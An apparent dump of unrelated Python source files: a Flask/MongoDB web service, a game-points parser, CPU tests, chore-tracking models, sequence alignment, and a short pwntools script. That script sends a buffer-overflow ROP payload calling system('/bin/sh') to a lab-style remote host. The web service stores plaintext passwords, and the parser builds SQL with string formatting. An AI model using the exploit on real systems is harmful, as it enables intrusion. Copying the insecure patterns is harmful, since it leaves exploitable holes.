doc['questions']:\n allquestions.append(question)\n session['allquestions'] = allquestions\n return render_template('user.html')\n else:\n session['logged_in'] = False\n session['username'] = None\n session['name'] = None\n session['email'] = None\n session['type'] = None\n session['score'] = 0\n return \"Usuário ou senha incorretos! Volte e tente novamente.\"\n\n# Used to find specific user\n@app.route('/users/', methods=['POST'])\ndef user():\n user = mongo.db.users.find_one(\n {'username': request.form['username'], 'password': request.form['password']})\n return render_userpage(user)\n\n\n# Adding new user\n@app.route('/users/new/', methods=['POST'])\ndef add_user():\n mongo.db.users.insert_one({\n 'username': request.form['username'],\n 'password': request.form['password'],\n 'name': request.form['name'],\n 'email': request.form['email'],\n 'type': request.form['type']\n #'score': '0' # começa com 0\n })\n mongo.db.links.insert_one({'username':request.form['username'],'links':[]})\n mongo.db.questions.insert_one({'username':request.form['username'],'questions':[]})\n mongo.db.score.insert_one({'username':request.form['username'],'score':'0'})\n user = mongo.db.users.find_one({'username': request.form['username']})\n return render_userpage(user)\n\n@app.route('/links/new/',methods=['POST'])\ndef add_link():\n links = mongo.db.links.find_one({'username':session['username']})['links']\n if mongo.db.users.find_one({'username': request.form['link']}) != None:\n mongo.db.links.delete_one({'username':session['username']})\n mongo.db.links.insert_one({'username':session['username'],'links':links+[request.form['link']]})\n user = mongo.db.users.find_one({'username':session['username']})\n return render_userpage(user)\n else:\n return \"Usuário não existe!\"\n\n@app.route('/question/new/',methods=['POST'])\ndef add_question():\n question = mongo.db.questions.find_one({'username':session['username']})['questions']\n mongo.db.questions.delete_one({'username':session['username']})\n mongo.db.questions.insert_one({'username':session['username'],'questions':question+[[request.form['question'],[]]]})\n user = mongo.db.users.find_one({'username':session['username']})\n return render_userpage(user)\n\n@app.route('/answer/new/',methods=['POST'])\ndef add_answer():\n score = mongo.db.score.find_one({'score':session['username']})\n score += 1\n #answer = mongo\n\n user = mongo.db.users.find_one({'username':session['username']})\n return render_userpage(user)\n\n@app.route('/message/new/',methods=['POST'])\ndef add_message():\n #get email\n\n #user = mongo.db.users.find_one({'username':session['username']})\n return \"Mensagem enviada com sucesso para o e-mail\"\n\nif __name__ == 'main':\n app.run(debug=True)\n","sub_path":"projetofinal_webservice.py","file_name":"projetofinal_webservice.py","file_ext":"py","file_size_in_byte":5826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"318777859","text":"import re\nimport sqlite3\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\nclass PlaneswalkerPointsParser():\n def get_points_array(self, points_string):\n pattern = re.compile(r'(\\d\\d\\d\\d-\\d\\d-\\d\\d.*\\n)', re.MULTILINE)\n points_array = pattern.split(points_string)\n\n return points_array\n\n def setup_db(self, path):\n cs = self.get_db_cursor(path)\n\n has_events = cs.execute(\n 'SELECT name FROM sqlite_master '\n 'WHERE type=\"table\" AND name=\"events\"'\n )\n\n if not has_events.fetchall():\n cs.execute(\n 'CREATE TABLE events (sanctioning_number text PRIMARY KEY, '\n 'date text, type text, multiplier int, player_count int, '\n 'participation_points int, format text, location text, '\n 'place int)'\n )\n\n has_matches = cs.execute(\n 'SELECT name FROM sqlite_master '\n 'WHERE type=\"table\" AND name=\"matches\"'\n )\n\n if not has_matches.fetchall():\n cs.execute(\n 'CREATE TABLE matches (round int, result text, '\n 'opponent text, event_number text, '\n 'FOREIGN KEY(event_number) REFERENCES '\n 'events(sanctioning_number))'\n )\n\n cs.commit()\n return cs\n\n def get_db_cursor(self, path):\n return sqlite3.connect(path)\n\n def get_regex_from_string(self, string, pattern_string):\n pattern = re.compile(pattern_string)\n result = pattern.search(string)\n if result:\n return result.group(1).strip()\n else:\n return None\n\n def parse_points_array(self, points_array):\n tupelized_array = zip(points_array[1::2], points_array[2::2])\n\n cs = self.get_db_cursor('niels_points.db')\n\n # Get the already handled events\n sns_cs = cs.execute('SELECT sanctioning_number FROM events')\n sns = [sn[0] for sn in sns_cs.fetchall()]\n\n count = 0\n for date_title, data in tupelized_array:\n date = date_title[0:10].strip()\n title = date_title[10:].strip()\n\n sn = self.get_regex_from_string(data, r'Sanctioning Number:(.*)')\n\n if not sn:\n # Achievement entry\n continue\n\n # Check if this event has been recorded already\n if sn in sns:\n continue\n\n et = self.get_regex_from_string(data, r'Event Type:(.*)')\n mp = self.get_regex_from_string(data, r'Event Multiplier:(.*)')\n pc = self.get_regex_from_string(data, r'Players:(.*)')\n pp = self.get_regex_from_string(data, r'Participation Points:(.*)')\n fm = self.get_regex_from_string(data, r'Format:(.*)')\n lc = self.get_regex_from_string(data, r'Location:(.*)')\n pl = self.get_regex_from_string(data, r'Place:(.*)')\n yp = self.get_regex_from_string(data, r'Yearly:(.*)')\n lp = self.get_regex_from_string(data, r'Lifetime:(.*)')\n\n cs.execute(\n 'INSERT INTO events VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)',\n [sn, date, et, mp, pc, pp, fm, lc, pl]\n )\n count += 1\n\n mh_pattern = re.compile(\n r'Match History:\\n((?:\\d|.*\\n)*)Planes', re.MULTILINE\n )\n mh_result = mh_pattern.search(data)\n if mh_result:\n mh = mh_result.group(1)\n mhg_pattern = re.compile(r'(\\d.*\\n[^\\d]*)')\n mhg = mhg_pattern.findall(mh)\n for single_match in mhg:\n mhg_array = single_match.split('\\t')\n rnd = mhg_array[0]\n result = mhg_array[1]\n points = mhg_array[2]\n if len(mhg_array) > 3:\n opponent = mhg_array[3].strip()\n if not opponent:\n opponent = 'Unknown'\n if result == 'Bye':\n continue\n cs.execute(\n 'INSERT INTO matches VALUES (?, ?, ?, ?)',\n [rnd, result, opponent, sn]\n )\n else:\n mh = None\n\n cs.commit()\n\n if count > 0:\n print(f'Imported {count} new events!')\n else:\n print('No new events found')\n\n def read_points_from_file(self, path):\n with open(path) as points_file:\n return points_file.read()\n\n def write_all_results(self, path):\n base_query = 'SELECT result, COUNT(result) AS Total FROM matches WHERE opponent==\"{0}\" GROUP BY result'\n\n cs = self.get_db_cursor(path)\n\n opps = cs.execute('SELECT DISTINCT opponent FROM matches')\n\n table = []\n rowlabels = []\n\n for opponent_row in opps.fetchall():\n opponent = opponent_row[0].replace('\\n', ', ')\n results = cs.execute(base_query.format(opponent)).fetchall()\n\n if not results:\n continue\n\n losses = 0\n wins = 0\n draws = 0\n\n for result_type, result_count in results:\n if result_type == 'Loss':\n losses = result_count\n elif result_type == 'Win':\n wins = result_count\n elif result_type == 'Draw':\n draws = result_count\n table.append([wins, losses, draws])\n rowlabels.append(opponent)\n \n print(f'{opponent}: {results}')\n \n fig, ax = plt.subplots()\n fig.patch.set_visible(False)\n ax.axis('off')\n ax.axis('tight')\n\n df = pd.DataFrame(table, columns=['Wins', 'Losses', 'Draws'])\n\n ax.table(cellText=df.values, rowLabels=rowlabels, colLabels=df.columns, loc='center')\n plt.show()\n\n\nif __name__ == '__main__':\n pwp_parser = PlaneswalkerPointsParser()\n data = pwp_parser.read_points_from_file('20200205.txt')\n array = pwp_parser.get_points_array(data)\n\n pwp_parser.setup_db('niels_points.db')\n\n pwp_parser.parse_points_array(array)\n pwp_parser.write_all_results('niels_points.db')\n","sub_path":"Planeswalker Points Parser/pwp_parser.py","file_name":"pwp_parser.py","file_ext":"py","file_size_in_byte":6222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"67790184","text":"from registers import Registers\nfrom memorymap import MemoryMap\nfrom cpu import Cpu\nimport unittest\n\nclass TestSequenceFunctions(unittest.TestCase):\n def setUp(self):\n self.memory = MemoryMap()\n self.regs = Registers()\n self.cpu = Cpu(self.memory)\n\n def test_0xaf(self):\n self.regs.A = 11\n instruction = {'opcode':int('0xaf', 16)}\n self.cpu.apply(instruction, self.regs)\n self.assertEqual(self.regs.zf, True)\n\n def test_0xcb7c(self):\n self.regs.H = 1 << 7\n instruction = {'opcode':int('0xcb7c', 16)}\n self.cpu.apply(instruction, self.regs)\n self.assertEqual(self.regs.zf, False)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_cpu.py","file_name":"test_cpu.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"433156312","text":"import position as Position\nimport labyManager as lm\n\nclass Perso:\n\tdef __init__(self, pos, hasEther = False, hasTube = False, hasNeedle = False, alive = True):\n\t\tself.pos = pos\n\t\tself.alive = alive\n\t\tself.hasEther = hasEther\n\t\tself.hasTube = hasTube\n\t\tself.hasNeedle = hasNeedle\n\n\n\tdef __str__(self):\n\t\tdescription = \"Perso position:\\n\" + str(self.pos) + \"\\n\"\n\t\tdescription += \"alive: \" + str(self.alive) + '\\n'\n\t\tdescription += \"has needle: \" + str(self.hasNeedle) + '\\n'\n\t\tdescription += \"has ether: \" + str(self.hasEther) + '\\n'\n\t\tdescription += \"has tube: \" + str(self.hasTube) + '\\n'\n\t\treturn description\n\n\n\n\tdef goLeft(self, laby):\n\t\tgoingToPos = Position.Position(self.pos.line, self.pos.column - 1)\n\t\tself.willStepOnObject(goingToPos)\n\t\tif lm.charAtPosition(goingToPos) != \"*\" and self.pos.column > 0:\n\t\t\tlm.updatePersoPositionInLaby(self.pos, goingToPos)\n\t\t\tself.pos = goingToPos\n\t\telse:\n\t\t\tlm.showWarning()\n \t\n\n\tdef goRight(self, laby):\n\t\tgoingToPos = Position.Position(self.pos.line, self.pos.column + 1)\n\t\tself.willStepOnObject(goingToPos)\n\t\tif lm.charAtPosition(goingToPos) != \"*\" and self.pos.column < len(laby[self.pos.line]) - 1:\n\t\t\tlm.updatePersoPositionInLaby(self.pos, goingToPos)\n\t\t\tself.pos = goingToPos\n\t\telse:\n\t\t\tlm.showWarning()\n \t\n\n\tdef goUp(self, laby):\n\t\tgoingToPos = Position.Position(self.pos.line - 1, self.pos.column)\n\t\tself.willStepOnObject(goingToPos)\n\t\tif lm.charAtPosition(goingToPos) != \"*\" and self.pos.line > 0:\n\t\t\tlm.updatePersoPositionInLaby(self.pos, goingToPos)\n\t\t\tself.pos = goingToPos\n\t\telse:\n\t\t\tlm.showWarning()\n \t\n\n\tdef goDown(self, laby):\n\t\tgoingToPos = Position.Position(self.pos.line + 1, self.pos.column)\n\t\tself.willStepOnObject(goingToPos)\n\t\tif lm.charAtPosition(goingToPos) != \"*\" and self.pos.column < len(laby) - 1:\n\t\t\tlm.updatePersoPositionInLaby(self.pos, goingToPos)\n\t\t\tself.pos = goingToPos\n\t\telse:\n\t\t\tlm.showWarning()\n\n\n\tdef willStepOnObject(self, pos):\n\t\tif lm.charAtPosition(pos) == 'A':\n\t\t\tself.hasNeedle = True\n\t\telif lm.charAtPosition(pos) == 'E':\n\t\t\tself.hasEther = True\n\t\telif lm.charAtPosition(pos) == 'T':\n\t\t\tself.hasTube = True\n\t\telif lm.charAtPosition(pos) == 'X':\n\t\t\tif not self.hasAllObjects():\n\t\t\t\tself.alive = False\n\n\n\tdef hasAllObjects(self):\n\t\treturn self.hasNeedle and self.hasTube and self.hasEther\n","sub_path":"perso.py","file_name":"perso.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"329982677","text":"import enum\nfrom uuid import uuid4\nfrom inspect import Parameter\nfrom typing import List\n\nimport pendulum\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom sqlalchemy import types,\\\n Column,\\\n String,\\\n Text,\\\n ForeignKey,\\\n Integer,\\\n CheckConstraint,\\\n Enum,\\\n Boolean,\\\n literal\nfrom molten.contrib.sqlalchemy import Session\n\n\ndef get_id():\n return uuid4().hex.upper()\n\n\nclass PendulumDateTime(types.TypeDecorator):\n impl = types.DateTime\n\n def process_result_value(self, value, dialect):\n return pendulum.instance(value)\n\n\nclass FrequencyTypes(enum.Enum):\n DAYS = 'days'\n WEEKS = 'weeks'\n MONTHS = 'months'\n YEARS = 'years'\n\n\nModel = declarative_base()\n\n\nclass Base(Model):\n __abstract__ = True\n id = Column(\n String(32),\n nullable=False,\n primary_key=True,\n default=get_id,\n )\n created_at = Column(\n PendulumDateTime(timezone=True),\n nullable=False,\n default=lambda: pendulum.now('UTC'),\n )\n updated_at = Column(\n PendulumDateTime(timezone=True),\n nullable=False,\n default=lambda: pendulum.now('UTC'),\n onupdate=lambda: pendulum.now('UTC'),\n )\n deleted = Column(\n Boolean,\n nullable=False,\n default=False,\n server_default=literal('0'),\n )\n\n\nclass User(Base):\n __tablename__ = 'user'\n external_id = Column(String(36), nullable=False, unique=True)\n email = Column(String(255), nullable=False, unique=True)\n\n\nclass ChoreDefinition(Base):\n __tablename__ = 'chore_definition'\n\n name = Column(String(255), nullable=False)\n owner_id = Column(ForeignKey('user.id', ondelete='CASCADE'), nullable=False)\n details = Column(Text, nullable=False, default='')\n frequency_amount = Column(Integer, nullable=False)\n frequency_type = Column(Enum(FrequencyTypes), nullable=False)\n\n __table_args = (\n CheckConstraint(frequency_amount >= 0, name='check_frequency_amount_positive'),\n )\n\n\nclass ChoreInstance(Base):\n __tablename__ = 'chore_instance'\n\n name = Column(String(255), nullable=False)\n details = Column(Text, nullable=False, default='')\n owner_id = Column(ForeignKey('user.id', ondelete='CASCADE'), nullable=False)\n chore_definition_id = Column(ForeignKey('chore_definition.id', ondelete='CASCADE'), nullable=False)\n due_date = Column(PendulumDateTime(timezone=True), nullable=False, default=lambda: pendulum.now('UTC'))\n completed = Column(Boolean, nullable=False, default=False)\n\n @classmethod\n def from_definition(cls, chore_definition: ChoreDefinition, due_date: pendulum.DateTime):\n return cls(\n name=chore_definition.name,\n details=chore_definition.details,\n owner_id=chore_definition.owner_id,\n chore_definition_id=chore_definition.id,\n due_date=due_date,\n )\n\n\nclass UserProvider:\n def __init__(self, session: Session):\n self.session = session\n self._user = None\n\n def load_user(self, user_id: str):\n self._user = self.session.query(User).get(user_id)\n\n def get_user(self) -> User:\n return self._user\n\n def get_user_from_external(self, user: dict) -> User:\n try:\n user = self.session.query(User)\\\n .filter_by(external_id=user['id'])\\\n .filter_by(email=user['email'])\\\n .one()\n return user\n except NoResultFound:\n user = User(\n external_id=user['id'],\n email=user['email'],\n )\n self.session.add(user)\n self.session.flush()\n return user\n\n\nclass Manager:\n def __init__(self, session: Session, user_provider: UserProvider):\n self.session = session\n self.user_provider = user_provider\n\n\nclass ChoreInstanceManager(Manager):\n\n def get_upcoming_chores(self) -> List[ChoreInstance]:\n user = self.user_provider.get_user()\n return self.session.query(ChoreInstance)\\\n .filter_by(completed=False)\\\n .filter_by(deleted=False)\\\n .filter_by(owner_id=user.id)\\\n .filter(ChoreInstance.due_date <= pendulum.now('UTC').add(days=14))\\\n .order_by(ChoreInstance.due_date.asc())\\\n .all()\n\n def complete_chore(self, chore_id: str):\n user = self.user_provider.get_user()\n try:\n instance = self.session.query(ChoreInstance)\\\n .filter_by(owner_id=user.id)\\\n .filter_by(id=chore_id)\\\n .filter_by(deleted=False)\\\n .one()\n except NoResultFound:\n return\n\n chore_definition = self.session.query(ChoreDefinition).get(instance.chore_definition_id)\n\n instance.completed = True\n self.session.add(instance)\n amount = chore_definition.frequency_amount\n frequency_type = chore_definition.frequency_type.value\n\n date_kwargs = {\n frequency_type: amount,\n }\n new_due_date = pendulum.now('UTC').add(**date_kwargs)\n new_instance = ChoreInstance.from_definition(chore_definition, new_due_date)\n self.session.add(new_instance)\n self.session.flush()\n\n\nclass ChoreDefinitionManager(Manager):\n def persist_chore(self, chore_data) -> ChoreDefinition:\n user = self.user_provider.get_user()\n chore_definition = ChoreDefinition(\n name=chore_data.name,\n details=chore_data.details,\n frequency_amount=chore_data.frequency_amount,\n frequency_type=chore_data.frequency_type,\n owner_id=user.id,\n id=get_id(),\n )\n self.session.add(chore_definition)\n self.session.add(ChoreInstance.from_definition(chore_definition, chore_data.start_date))\n self.session.flush()\n return chore_definition\n\n def get_chores(self) -> List[ChoreDefinition]:\n user = self.user_provider.get_user()\n return self.session.query(ChoreDefinition)\\\n .filter_by(owner_id=user.id)\\\n .filter_by(deleted=False)\\\n .all()\n\n def get_chore(self, chore_id: str) -> ChoreDefinition:\n user = self.user_provider.get_user()\n try:\n instance = self.session.query(ChoreDefinition)\\\n .filter_by(owner_id=user.id)\\\n .filter_by(id=chore_id)\\\n .filter_by(deleted=False)\\\n .one()\n except NoResultFound:\n return\n\n return instance\n\n def delete_chore(self, chore_id: str):\n user = self.user_provider.get_user()\n try:\n instance = self.session.query(ChoreDefinition)\\\n .filter_by(owner_id=user.id)\\\n .filter_by(id=chore_id)\\\n .filter_by(deleted=False)\\\n .one()\n except NoResultFound:\n return\n\n instance.deleted = True\n self.session.add(instance)\n self.session.query(ChoreInstance)\\\n .filter_by(chore_definition_id=instance.id)\\\n .update({'deleted': True}, synchronize_session=False)\n\n\nclass ManagerComponent:\n def __init__(self, manager_type: Manager):\n self.manager_type = manager_type\n\n def can_handle_parameter(self, parameter: Parameter) -> bool:\n return parameter.annotation is self.manager_type\n\n def resolve(self, session: Session, user_provider: UserProvider) -> Manager:\n return self.manager_type(session, user_provider)\n\n\nclass UserProviderComponent:\n def can_handle_parameter(self, parameter: Parameter) -> bool:\n return parameter.annotation is UserProvider\n\n def resolve(self, session: Session) -> Manager:\n return UserProvider(session)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"120048591","text":"from pwn import *\nimport struct\n\ncontext.update(arch='amd64', os='linux')\n# elf = ELF('./vuln')\n\n#p = process('./myapp')\np = remote(\"10.10.10.147\", 1337)\n\n#print(p.recvuntil(b\"What do you want me to echo back? \"))\n# print(p.recvline())\n\n# eip = p32(0x080491e2)\nrbp = b'/bin/sh\\x00'\n# junk = p32(0x90909090)\nrip = p64(0x401206)\nsyst = p64(0x40116e)\nnull = p64(0x0)\ntestf = p64(0x401152)\n# param1 = p32(0xdeadbeef)\n# param2 = p32(0xc0ded00d)\n\npayload = b'A'*112 + rbp + rip + syst + null + null + testf\n\np.sendline(payload)\np.interactive()\n#print(p.recvline())\n","sub_path":"x64_bfexploit.py","file_name":"x64_bfexploit.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"447171532","text":"import pydot, re, urllib2, json, codecs, time, itertools\nfrom bs4 import BeautifulSoup\nfrom collections import OrderedDict\n\n# Step 1\n'''\nresponse = urllib2.urlopen(\"http://www.imdb.com/search/title?at=0&sort=num_votes&count=100\")\nwith open(\"step1.html\",\"w\") as f:\n response_str = response.read().decode('utf-8')\n f.write(response_str.encode('utf-8'))\n'''\nsoup = BeautifulSoup(open(\"step1.html\"), 'html.parser')\n\n# Step 2\nallMovieItems = soup.find_all(\"div\", {\"class\" : 'lister-item'})\nregExp = re.compile(\"\\/title\\/\\w+\\/\\??ref_=adv_li_tt\")\nmovieRank = 0\nwith open(\"step2.txt\",'w') as f:\n f.write(\"{}\\t{}\\t{}\\n\".format(\"IMDB_ID\", \"Rank\", \"Title\"))\n for movie in allMovieItems:\n anchors = movie.find_all('a')\n for a in anchors:\n match = re.search(regExp, a['href'])\n if match:\n movieID = a['href'].split(\"/\")[2].encode('utf-8')\n movieRank += 1\n movieTitle = a.contents[0].encode('utf-8')\n line = \"{}\\t{}\\t{}\\n\".format(movieID, movieRank, movieTitle)\n f.write(line)\n\n# Step 3\n'''\nf = open(\"step2.txt\",'rU')\ntop100Movies = f.readlines()[1:]\nf.close()\nwith open(\"step3.txt\",'w') as f:\n url = \"http://www.omdbapi.com/?i=\"\n for movie in top100Movies:\n movieMetaData = movie.strip().rstrip().split('\\t')\n urlID = url + movieMetaData[0]\n responseOMDB = urllib2.urlopen(urlID)\n jsonData = responseOMDB.read()\n print \"{}. Fetching data for {}\".format(movieMetaData[1],movieMetaData[-1])\n f.write(jsonData+'\\n')\n time.sleep(6)\n'''\n\n# Step 4\nmovieList = []\nwith open(\"step3.txt\",'rU') as f:\n for movie in f:\n movieDict = OrderedDict()\n movieJSON = json.loads(movie, encoding='utf-8')\n movieDict['Title'] = movieJSON['Title']\n actors = movieJSON['Actors'].split(',')\n for i in range(len(actors)):\n actors[i] = actors[i].strip().rstrip()\n movieDict['Actors'] = actors[:5]\n movieList.append(movieDict)\n\n# Step 5 & 6\nwith codecs.open(\"step4.json\",\"r\",encoding=\"utf-8\") as f:\n lines = f.readline()\n movies = json.loads(lines,encoding=\"utf-8\")\n graph = pydot.Dot(graph_type='graph', charset=\"utf8\")\n for m in movies:\n aCombn = list(itertools.combinations(m['Actors'], 2))\n for pair in aCombn:\n edge = pydot.Edge(pair[0],pair[1])\n graph.add_edge(edge)\n graph.write('actors_graph_output.dot')\n","sub_path":"actors.py","file_name":"actors.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"525313072","text":"import numpy as np\nimport time\nimport matplotlib.pyplot as pl\nfrom matplotlib import rc, rcParams\nrcParams.update({'font.size': 20})\n#set up tex interpreter\nrc('text',usetex=True)\n\nclass singleTest(object):\n\t\"\"\"\n\tsingle estimate of pi value, with time or not, with plot or not\n\t\"\"\"\n\n\tdef __init__(self, N):\n\n\t\tstart = time.time()\n\n\t\tself.N = N\n\n\t\tself.in_count = 0\n\n\t\tself.xlist = []\n\t\tself.ylist = []\n\n\t\tfor i in range(0, self.N):\n\t\t\tnew_x = np.random.rand()\n\t\t\tnew_y = np.random.rand()\n\t\t\tself.xlist += [new_x]\n\t\t\tself.ylist += [new_y]\n\n\t\t\tdist = np.sqrt((new_x - 0.5)**2 + (new_y - 0.5)**2)\n\n\t\t\tif dist < 0.5:\n\t\t\t\tself.in_count += 1\n\n\t\tend = time.time()\n\n\t\tself.time = end - start\n\n\tdef estimate(self):\n\n\t\treturn float(self.in_count)/self.N*4\n\n\n\tdef time_estimate(self):\n\n\t\treturn self.time\n\n\tdef dartplot(self):\n\n\t\tpl.figure()\n\t\tpl.clf()\n\t\tpl.hold(True)\n\t\tpl.title('N = ' + str(self.N))\n\t\tpl.plot(self.xlist, self.ylist, 'r+')\n\t\tparam = np.linspace(0,1,num=1000)\n\t\txc = 0.5 + 0.5*np.cos(np.pi*2*param)\n\t\tyc = 0.5 + 0.5*np.sin(np.pi*2*param)\n\t\tpl.plot(xc, yc, 'b-')\n\t\tpl.xlabel('x')\n\t\tpl.ylabel('y')\n\t\tpl.xlim(0,1)\n\t\tpl.ylim(0,1)\n\t\tpl.show()\n\n\t\n\n\"\"\"\nprint estimate(100)\nprint estimate(1000)\nprint estimate(10000)\nprint estimate(1e6)\n\"\"\"\n\n#[pi, t] = time_estimate(1000, plotdart = True)\n#print pi, t\n\n\"\"\"\nNlist = np.logspace(1, 5, num=20).astype(int)\ntimelist = []\n\nfor n in Nlist:\n\t[new_pi, new_t] = time_estimate(n)\n\n\ttimelist = timelist + [new_t]\n\ntimelist = np.array(timelist)\n\npl.figure(1)\npl.clf()\npl.hold(True)\npl.plot(Nlist, timelist, 'r-.')\npl.xlabel('N')\npl.ylabel('t (s)')\npl.xscale('log')\npl.show()\n\"\"\"\n\n\n","sub_path":"day2/exercises/sandy-day2/pi_estimate/singleTest.py","file_name":"singleTest.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"8554254","text":"import numpy as np\n\nGenome_1 = \"GGACT\"\nGenome_2 = \"TAGAC\"\n\nmatch = 1\npenalty = -1\ngapcost = -1\n\ngap = '-'\n\nAligned_G1 = list ( )\nAligned_G2 = list ( )\n\nmax_length = max ( len ( Genome_1 ) , len ( Genome_2 ) )\n\nM = [ [ 0 for x in range ( max_length + 1 ) ] for y in range ( max_length + 1 ) ]\nloc_align = np.zeros ( (max_length + 1 , max_length + 1))\n\nwhile len ( Genome_1 ) < max_length:\n Genome_1 += '-'\nwhile len ( Genome_2 ) < max_length:\n Genome_2 += '-'\n\nprint ( 'Original sequence:' )\nprint ( Genome_2 )\nprint ( Genome_1 )\n\n\n\n# for i in range ( 1 , max_length + 1 ):\n# M[ i ][ 0 ] = M[ i - 1 ][ 0 ] + penalty\n#\n# for j in range ( 1 , max_length + 1 ):\n# M[ 0 ][ j ] = M[ 0 ][ j - 1 ] + penalty\n\nfor i in range ( 1 , len ( Genome_1 ) + 1 ):\n for j in range ( 1 , len ( Genome_2 ) + 1 ):\n if Genome_2[ i - 1 ] == Genome_1[ j - 1 ]:\n M[ i ][ j ] = max ( M[ i ][ j - 1 ] + gapcost , M[ i - 1 ][ j ] + gapcost ,\n M[ i - 1 ][ j - 1 ] + match , 0 )\n else:\n M[ i ][ j ] = max ( M[ i ][ j - 1 ] + gapcost , M[ i - 1 ][ j ] + gapcost ,\n M[ i - 1 ][ j - 1 ] + penalty , 0 )\n\nprint ( 'Alignment Matrix:' )\n\nnp.set_printoptions ( suppress=True )\nprint ( np.matrix ( M ) )\n\nk = len ( Genome_1 )\nm = len ( Genome_2 )\n# Trace back\nmax_1 = np.amax ( M )\n\nprint ( \"Max element\" , np.amax ( M ) , np.argmax ( M ) , np.where ( np.amax ( M ) ) )\n\nwhile (m > 0) & (k > 0):\n if Genome_1[ k - 1 ] == Genome_2[ m - 1 ]:\n temp = match\n else:\n temp = penalty\n\n if (M[ m ][ k ] == M[ m - 1 ][ k - 1 ] + temp):\n Aligned_G1.append ( Genome_1[ k - 1 ] )\n Aligned_G2.append ( Genome_2[ m - 1 ] )\n k -= 1\n m -= 1\n\n elif M[ m ][ k ] == M[ m ][ k - 1 ] + gapcost:\n Aligned_G1.append ( Genome_1[ k - 1 ] )\n Aligned_G2.append ( gap )\n k -= 1\n elif M[ m ][ k ] == M[ m - 1 ][ k ] + gapcost:\n Aligned_G1.append ( gap )\n Aligned_G2.append ( Genome_2[ m - 1 ] )\n m -= 1\n\n if (k == 0):\n while m > 0:\n Aligned_G1.append ( gap )\n Aligned_G2.append ( Genome_2[ m - 1 ] )\n m -= 1\n\n if (m == 0):\n while k > 0:\n Aligned_G1.append ( Genome_1[ k - 1 ] )\n Aligned_G2.append ( gap )\n k -= 1\n\n for i in range ( 0 , len ( Aligned_G1 ) - 1 ):\n if (Aligned_G1[ i ] == gap) and (Aligned_G2[ i ] == gap):\n del Aligned_G1[ i ]\n del Aligned_G2[ i ]\n elif (Aligned_G1[ i ] == \" \") and (Aligned_G2[ i ] == gap):\n del Aligned_G1[ i ]\n del Aligned_G2[ i ]\n elif (Aligned_G1[ i ] == gap) and (Aligned_G2[ i ] == \" \"):\n del Aligned_G1[ i ]\n del Aligned_G2[ i ]\n# print ( 'Aligned Genome1' , list ( reversed ( Aligned_G1 ) ) )\n# print ( 'Aligned Genome2' , list ( reversed ( Aligned_G2 ) ) )\n","sub_path":"HW1 Alignments/venv/HW1_AlignmentSW.py","file_name":"HW1_AlignmentSW.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"527314810","text":"numbers = str( input( '' ) )\nsplit_numbers = numbers.split()\na = list( map( int, split_numbers ) )[:2]\nx = a[0]\ny = a[1]\nif x != 0:\n if y % x == 0 or x % y == 0:\n print( 'Sao Multiplos' )\n else:\n print( 'Nao sao Multiplos' )\n","sub_path":"1044_multiples.py","file_name":"1044_multiples.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"465266475","text":"import random\r\nimport time\r\nnum = random.randint(1,100)\r\ncounter = 0\r\na = 0\r\nz = 300\r\nwhile True:\r\n counter == a\r\n if a >=3:\r\n print(\"系统锁定5秒\")\r\n f = 1\r\n while f <= 5:\r\n print(\".\",end=\"\")\r\n time.sleep(1)\r\n f = f + 1\r\n a = 0\r\n a = a + 1\r\n counter = counter + 1\r\n n = input(\"请输入你想输入的数:\")\r\n n = int(n)\r\n if n > num:\r\n z = z - 10\r\n print(\"大了,您还有:\",z)\r\n if z <= 0:\r\n print(\"您输了!\")\r\n break\r\n elif n < num:\r\n z = z - 10\r\n print(\"小了,您还有:\",z)\r\n if z <= 0:\r\n print(\"您输了!\")\r\n break\r\n else:\r\n z = z + 100\r\n print(\"恭喜您猜对了!您本次猜了:\",counter,\"次\",\"您还有:\",z)\r\n break\r\n","sub_path":"day02.py","file_name":"day02.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"586303560","text":"from tail import tail\nfrom is_json import is_json\nimport json\nimport time\n\ndef make_json():\n\n def tail(f, window=1):\n \"\"\"\n Returns the last `window` lines of file `f` as a list of bytes.\n \"\"\"\n if window == 0:\n return b''\n BUFSIZE = 1024\n f.seek(0, 2)\n end = f.tell()\n nlines = window + 1\n data = []\n while nlines > 0 and end > 0:\n i = max(0, end - BUFSIZE)\n nread = min(end, BUFSIZE)\n\n f.seek(i)\n chunk = f.read(nread)\n data.append(chunk)\n nlines -= chunk.count(b'\\n')\n end -= nread\n return b'\\n'.join(b''.join(reversed(data)).splitlines()[-window:])\n\n def is_json(myjson):\n try:\n json_object = json.loads(myjson)\n except ValueError as e:\n return False\n return True\n\n check2 = \" \"\n\n with open(\"/Users/J0s3F/Desktop/test_final.txt\", 'rb') as f:\n last_lines = tail(f, 1).decode('utf-8')\n checker = last_lines\n if checker != check2:\n check2 = checker\n \n if is_json(check2) :\n\n d = json.loads(check2)\n 